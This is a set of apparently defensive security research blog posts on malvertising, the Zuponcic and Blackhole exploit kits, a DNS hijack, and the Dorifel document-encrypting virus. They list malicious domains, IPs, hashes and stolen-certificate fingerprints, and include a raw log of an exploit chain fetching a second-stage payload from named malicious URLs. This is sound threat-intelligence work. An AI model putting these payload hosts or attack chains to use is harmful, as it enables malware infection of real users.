Real-time bidding is a process many advertisers have to serve ads. When a user visits a website, for example deviantart.com, this triggers a bidding request among the affiliates of the advertiser who will get to see meta-data about the visiting user. This metadata can include: geographical location, browser type, and web browsing history. The affiliates in their turn then automatically bid on this impression. The highest bidding advertisers gets to display their ad. In the case of this malvertising campaign the malicious advertisers were the highest bidders. For more details please see http://en.wikipedia.org/wiki/Real-time_bidding.

The Payload

The aim of the exploit kit is to execute a malicious file on the visitor’s computer to infect them. The Angler exploitkit has been observed to deliver different payloads in the last few days. Although the dropped malware can vary, Fox-IT has only seen the Asprox malware being spread with this campaign.

Update (August 27th): It was pointed out by Kimberly on twitter that it was in fact Rerdom that was distributed which we mistook for Asprox (https://twitter.com/StopMalvertisin/status/504652910429360129). Although, Asprox and Rerdrom do have a close relationship and affiliate with each other. More about the Asprox ecosystem can be read here on the StopMalvertising website: [ Urgent eviction notification – A deeper dive into the Asprox Ecosystem ].

Asprox is a notorious spam botnet which has upped its game over these past few months by using the infected machines to perform advertisement clicking fraud. Since this move the actors behind this botnet have started spreading Asprox on a much larger scale, at first via e-mail attachments and now by employing various exploit kits. Statistics provided by FireEye provided back in May 2014 shows big fluctuations in the botnet size and botnet activity:

FireEye Asprox tracking
(Source: http://www.fireeye.com/blog/technical/malware-research/2014/06/a-not-so-civic-duty-asprox-botnet-campaign-spreads-court-dates-and-malware.html)

In 2013 Trendmicro also published a paper about Asprox which explained the variety of functionality of the botnet. While Asprox is known as a spam botnet to most the spam is only 1 component of a modular botnet called Asprox. Asprox has gone through many changes and modifications which includes spam modules, website scanning modules and even credential stealing modules. This history and current events show Asprox is still actively being developed and used.

Indicators of compromise

These IOC’s relate to the malvertising campaign on the high-ranked websites specifically. The advertisement content first redirects to: ads.femmotion.com (204.45.251.105) which will give redirects towards the exploit kit.

The exploit kit:

Domains that were observed:

  • thegloriousdead.com (on port 37702)
  • taggingapp.com (on port 37702)

PassiveDNS logging shows 3 IP’s having been associated with these domains:

  • 198.27.88.157
  • 94.23.252.38
  • 178.32.21.248

All the exploit kit hosts were observed using port 37702. Running exploit kits on high ports at best prevents certain network tools from logging the HTTP connections, as these are typically configured to monitor only HTTP ports. It does mean this exploit kit is blocked on a lot of corporate networks as they do not allow for browsing outside the normal HTTP ports, port 80 (or proxy ports) and 443 for SSL.

The ‘Asprox’ malware:

Since this botnet makes use of a fast flux technique the domain names make for better indicators of compromise than IP’s:

  • from-gunergs.ru
  • oak-tureght.ru
  • nationwidedownload.com

The following MD5 hash was seen for the dropped payload:

  • Crypted payload: 554c5dbb12e3fd382ce16e5bb34a17c2
  • Decrypted payload: 5304bc5b9454e6bc5a0ba2bff0eba605

Advice

There is no silver bullet to protect yourself from malvertising. At a minimum:

  • Enable click-to-play in your browser. This prevents 3rd party plugins from executing automatically.
  • Keep all plugins running in the browser up-to-date using tools like Secunia PSI.
  • Consider turning off unneeded plugins if you don’t use them. For example, Java can be installed without the web-plugin component lowering the risk of exploitation and infection.

Usage of Adblockers

In cases of malvertising on websites ad blockers are usually effective in blocking redirects.
However, on the case of Skype on May 15th it would have been insufficient. Most adblockers are part of the Browsers as an add-on, incapable of filtering for other applications. Skype makes use of Adobe Flash to display certain advertisements, this happens to be a plugin which the Angler can exploit.

Fox-IT Security Research Team

Not quite the average exploit kit: Zuponcic

A couple of weeks ago at the FOX-IT SOC, we noticed Zuponcic attempting to infect one of our clients protected networks. The incident was caused by a person visiting the website of Suriname’s Ministry of Finance, minfin.sr.

This post connects three recent developments in the realm of malware infections: .htaccess server compromise, the Zuponcic exploit kit and the Ponmocup botnet. It seems that the defacto standard of exploit kits is getting competition. Understanding how this exploit kit works will give you a better chance of defending against it and for identifying the .htaccess compromise on your server.

Looking back at clients that have been affected by Zuponcic there had been a significant increase in compromised websites serving this kit starting June 2012, including some relatively big Dutch websites along the way, such as iphoneabonnementen.nl and tboek.nl.
This is interesting as websites hosting this kit have to be compromised due to the nature of the redirects. It seems the trend of using compromised website to attack users continues. As a sidenote, Zuponcic is not the actual name of this exploit kit, its real name is unknown. The first website it was found redirecting on was zuponcic.com, this is where the name came from.

Analysis of the attack

The way in which someone has to land on a compromised website for Zuponcic to become active is very carefully crafted and the redirection process is dependent on multiple conditions. This process is started via an .htaccess file which is placed in every (sub)folder of the compromised host. This file makes sure the referrer is either a search engine, webmail or social media website and that crawlers are not affected by checking for known IP’s and user-agents. A sample of this .htaccess file on a compromised server:

htaccess_referer_check

If all of these conditions are met, the victim is redirected to the Zuponcic landing page via one of the 60 redirection patterns a single .htaccess file has to offer. These redirect patterns try to follow the ones seen in legitimate advertise networks. They imitate urls seen for OpenX, Google Ads and a lot of others, this to mask its true redirect purpose. In the htaccess the section of the fake advertisement URL redirects looks like this:

htaccess_fake_redirects

Mapping this whole redirection scheme in a flowchart looks like this:

zuponcic_redirect_flowAfter the redirection process, Zuponcic carefully attempts to infect the victim, this type of attack is dependent on the victims setup. The flow for the attack looks like this:

zuponcic_attack_flow

Zuponcic only targets Java on the clients from what we have seen. Besides Java exploits, Zuponcic also tries to social engineer the user. When a victim does not have Java enabled or the browser used is not Internet Explorer, a ZIP file is presented. This file has to manually be downloaded and executed by the victim. To make the download seem appealing, a form of social engineering is used by having the name of the ZIP file consist of two random triggers words in combination with the keyword(s) used in the search engine.

zuponcic_zip_bing_keyword

The attack initiated when a victim uses Internet Explorer 8, originally described on Malwageddon’s blog, used a signed Java Applet to perform a drive-by.

The Java applet is signed with a valid certificate which is most likely stolen. During the Zuponcic campaign three of these certificates have been spotted. The two certificates originally used belonged to Triton IT d.o.o (UserTrust) and R.P. InfoSystems (VeriSign). After both of these had expired the switch was made to the certificate owned by “Kurz Instruments, Inc.” (GlobalSign), and is currently still being used:

Kurz Instruments Inc Certificate

We have seen the following 3 certificates being used on the different Java exploits used by Zuponcic:

  • Subject: Kurz Instruments, Inc.
  • Fingerprint: 8A:DC:2D:8B:B5:3C:DC:93:C9:80:C4:F6:C0:80:59:73:8B:88:19:16
  • Issuer: GlobalSign
  • Subject: R P Infosystems Pvt Ltd
  • Fingerprint: BB:48:74:0F:01:E6:7F:EE:A6:06:96:4B:D5:81:A7:30:BF:D0:54:D7
  • Issuer: VeriSign
  • Subject: iLoq Oy
  • Fingerprint: 76:90:09:5B:C3:FC:9F:9D:74:98:56:F6:E1:DD:22:C0:89:44:F7:F9
  • Issuer: VeriSign

If a victim uses Internet Explorer 10, a JAR file is sent to at that person to be downloaded. The JAR, named with the same pattern as the ZIP file, contains the embedded payload. The payload is again RC4 encrypted. Interestingly enough the key is based on the hash of the victims IP. A snippet of this can be seen in the deobfuscated Java lines below:

IE10_jar

For all instances the payload is the same: Ponmocup. Hashes for the two signed Java exploits seen being used:

  • 8d7028a0a0bf1e98fe90b5c3abb19059  (IE10.jar)
  • caa4cbe00c30458198a05a0cddddc1cd  (IE8.jar)

Hashes for samples we have seen (they are repackaged almost every time so this list will keep growing):

  • eb958d6e68cc635df16ade31227f0608  (bar__installer.exe)
  • bf1bd2fe9531224b619603cdaa575d61  (clickme__go.exe)
  • 9fd575356db4dc48a7c9f99de4fc358d  (daily_tool_.exe)
  • 7b9f5ba2ef5a6b94a4380be66e08e33f  (fixer__setup.exe)
  • aafa234b5db771d8df18c0f6719f264e  (folder__auto.exe)
  • 4888fafc13ad367954d96c0d913c316e  (full_setup_.exe)
  • 207c4ffd729c946ce261da6143c633fb  (instant_runme_.exe)
  • 6377d0a5bb8d183e8c3769016967f9fc  (internet__auto.exe)
  • c9e180a512f226a4c9da30c11498bfcd  (internet_setup_.exe)
  • 2f30863d70dbfb119c4b7185f5f7023a  (now_run_.exe)
  • 0dce01b2e5b566fc23da6f5a42d4ab8c  (private_www_relisound.exe)
  • 78cf24f2f6beeb9e4b2cb051073af066  (pure__run.exe)
  • f5835ab4ed47f1525a8da75e5134d452  (total_relisound_www.exe)
  • 244100de819e9943a1b76098a1f4d67a  (video_install_.exe)
  • 0f6280fce950601aca118be6312e0bfd  (viewer_relisound_www.exe)
  • 50d8bf638bd60c81de1790c2e0725a98  (windows__auto.exe)

Conclusion

The .htaccess compromise, Zuponcic and Ponmocup campaign have all been described seperately, but a connection has never been made between the three. From what we have seen it seems Ponmocup is behind this exploit kit as the only files ever seen being dropped from this are Ponmocup payloads. If you want to know more about Ponmocup, Tom Ueltschi has been investigating this botnet for a while now, read about it on his blog.

The amount of websites seen redirecting to this exploit kit is not as big as some of the others out there but what stands out are the ranking of these sites. They all have a lot of traffic and appear as the first domains for many frequently used search queries. This correlates with their method of redirecting for users only coming from the search engines.

Maarten van Dantzig, Yonathan Klijnsma & Barry Weymes, Security Specialists at Fox-IT

DNS takeover redirects thousands of websites to malware

Starting on Mon, 5 august 2013, 06:57:30 Fox-IT’s monitoring service detected a redirect occurring initially on conrad.nl but later on many other websites. The way the site was compromised means thousands of websites are redirecting, in total 3 web hosters seem to have been affected by the DNS server compromise:

  • Digitalus
  • VDX
  • Webstekker

All sites using the DNS servers from these companies will have been affected. The official response given by Digitalus was that someone modified the DRS from SIDN with external name servers. This means that any DNS requests made to them would end up at the malicious DNS servers. The only problem now is that the DNS zones have a TTL (Time to live) of 24 hours. This means that most ISP would have this incorrect data in their caches for at least this length of time. After being contacted they fixed the issue and most public name servers now respond with the correct data. How the intruders got access to the DRS remains unknown until Digitalus or SIDN disclose more information, they are is still investigating the issue (source).

Every website that was being requested responded with a blank “Under construction” page with an iframe on it. The iframe was a host running the Blackhole Exploit Kit. While initially we assumed conrad.nl was compromised we found out that the DNS servers were giving back responses with the same IP every time: 178.33.22.5

The nameserver responses for conrad.nl as an example:

;; ANSWER SECTION:
conrad.nl.        300        IN        NS ns1.dn-s.nl.
conrad.nl.        300        IN        NS ns2.dn-s.nl.
;; ADDITIONAL SECTION:
ns1.dn-s.nl.        7200        IN        A 85.158.251.251
ns2.dn-s.nl.        7200        IN        A 83.96.142.70

Analysis of the attack

When vising the page on IP 178.33.22.5 the following response was given:

Malicious iframe

The host cona.com at the time was responding with 199.233.237.211. This hosted the exploit kit named Blackhole. The kit targetted the client with a PDF exploit (3/45 on VT) and a Java exploit (3/46 on VT).
Looking at URL data it looks as follows:

"GET http://www.conrad.nl/ HTTP/1.1" - - "-" "Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0"
"GET http://cona.com/removal/stops-followed-forces.php HTTP/1.1" - - "http://www.conrad.nl/" "Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0"
"GET http://cona.com/removal/stops-followed-forces.php?xsbmHaOUDWN=RcezQhYNSbrYT&BOZRScKNhz=QoMIfWkfOPj HTTP/1.1" - - "-" "Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_32"
"GET http://cona.com/removal/stops-followed-forces.php?If=3030562f53&We=2i2j55302f2h322g2e52&i=2d&FE=V&ma=p HTTP/1.1" - - "-" "Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_32"
"GET http://www.champagnekopen.nl/wp-content/uploads/2013/07/tr2.jpg HTTP/1.1" - - "-" "Internet"

The first request is to conrad.nl which responded with the malicious IP. This is followed by a request to the Blackhole exploit kit landing page via the initial iframe. After the script on the landing page is executed it does a request to (in this example) retrieve a JAR file to exploit the vulnerable java version. When the Java has been exploit it does a final request to the exploit kit retrieving the initial payload. Moments after downloading this the initial payload downloads a secondary payload which contains the Tor powered malware, note the sudden change of useragent to “Internet”.

The malware dropped communicates using the Tor network to various command and control servers, hashes for the files seen being dropped by the exploit kit:
d758fd8cfb80a458a43770037ec82aac
1af107152eda9cc870c639a5b1c3c466

The initial binary dropped from the exploit kit contacts the following two domains to download a 2nd stage payload:

http://champagnekopen.nl/wp-content/uploads/2013/07/tr2.jpg
http://panningendeavor.net/tr2.jpg

Cleanup

The old instructions previously stated in this post might not work for updated versions of the malware, we are advising  HitmanPro.Kickstart to clean up your PC.

Lennart Haagsma & Yonathan Klijnsma, Security Specialists at Fox-IT

XDocCrypt/Dorifel – Document encrypting and network spreading virus

Another day, another malware, and today it was an unknown Delphi application which encrypts your office documents on your non-root and non-CD/DVD drives and prepends it with a copy of itself, turning a document into an executable. Great, everybody loves these kinds of things as your entire IT dependant organization will grind to a complete halt if it hits your organization. So, how did people get infected by this? Well as it seems it was not a drive-by exploit on a large news site or some compromised advertisement server which caused this malware to run, but instead an already existing ZeuS variant named Citadel which downloaded and executed “a.exe”.

Should you worry about all those encrypted document files on your network…, what you should really worry about, is that there apparently was/is a trojan (ZeuS/Citadel) on your network that was doing active C&C communications and has been leaking all kinds of information from your organization for days, weeks or perhaps even months. And apparently none of your IT security defenses has removed it, has blocked it and neither has signaled you that there was something wrong on that system. If you were hit, you will likely start asking yourself some questions now… A properly configured IDS would have picked up the attack earlier and you would have been notified of the event.

Communication to the following IP addresses might indicate malicious behavior on your system:

184.82.162.163

184.22.103.202

So the big question is, why did it encrypt files… because it is not ransomware as it has no ransom note, the answer is, because they can. Interesting are also the references to the FGint library and RSA crypto, which was probably a failed experiment on behalf of the author. But RSA was not used for the encrypted documents, no it was something much more common in malicious software, actually the most common crypto apart from plain xor… RC4.

So, how would you recover such a file? Well the best method would be to use the RC4 key and use the standard RC4 implementation and decrypt the crypted document. You can find this from the separator “[+++scarface+++]” at offset 0x24a00 or 0x25000 depending on the infector version, and not forgetting to skip the last 7 0-bytes, otherwise Office will likely complain when opening the file. The RC4 key appears to be consistent in all versions: \x0d\x0a\x05\x0f\x59\x7b\x38\x5a\x5b\x36\x31\x69\x7e\x0d\x0d\x09

An alternative method for the less adventurous, or perhaps more adventurous users, if you actually run the file, it will decrypt and save a copy of the document to the same filename with “–.doc” appended to it and open it in the default application for that file type. In case nothing else works, or perhaps in case of modified crypto in newer versions and failing tools, this might be a quick way to recover an important file. Note: we do not advise this, but if you have to do this, please do it in a virtual machine without network connectivity. The actual function in the executable used for this is:

You can see in the function the separator of the file scarface, but encrypted with another common encryption function in malicious software, rot13. Other interesting strings are “SayHellotomyLittleFriend” a quote from the movie Scarface and “BreakingBad” a TV series.

The big question is of course, what is the purpose of this Trojan, one might suspect it is ransomware, but without a ransom note I guess that would be a no go. The fact that it infects shares means that it will spread to other systems that open the infected ‘documents’ on a share. Additionally HTTP based connection functionality suggests that the Trojan has additional download tasks and likely executes additional payloads on systems that have been infected. Given the Modus Operandi of this operation, it is likely that it downloads the Citadel Trojan and this entire attack was just to increase the size of the botnet through spreading of network shares. Currently however there appears to be no task defined and no additional malware is downloaded.

The interesting thing with this attack is that it appears to target NL pretty badly with over 2200 infections during the night, with the majority of the infections taking place in The Netherlands and only around 100 in Denmark and only few in other countries. The loader panel can be observed below:

All together it is a pretty interesting attack, which is obviously very visible due to the fallout with encrypted documents. And also due to the large amount of public sector organizations which were heavily affected by this attack.

Thanks to SurfRight for infected office document samples and the blog at http://www.damnthoseproblems.com/ for listing a lot of the information during the attack shared with the public.

Update:

SurfRight has provided a decryptor.

McAfee extra.dat file:  https://www.medusoft.eu/w32xdoccrypt-a/#.UCNwk03N-Ao

TrendMicro has detections for Dorifel / QUERVAR here.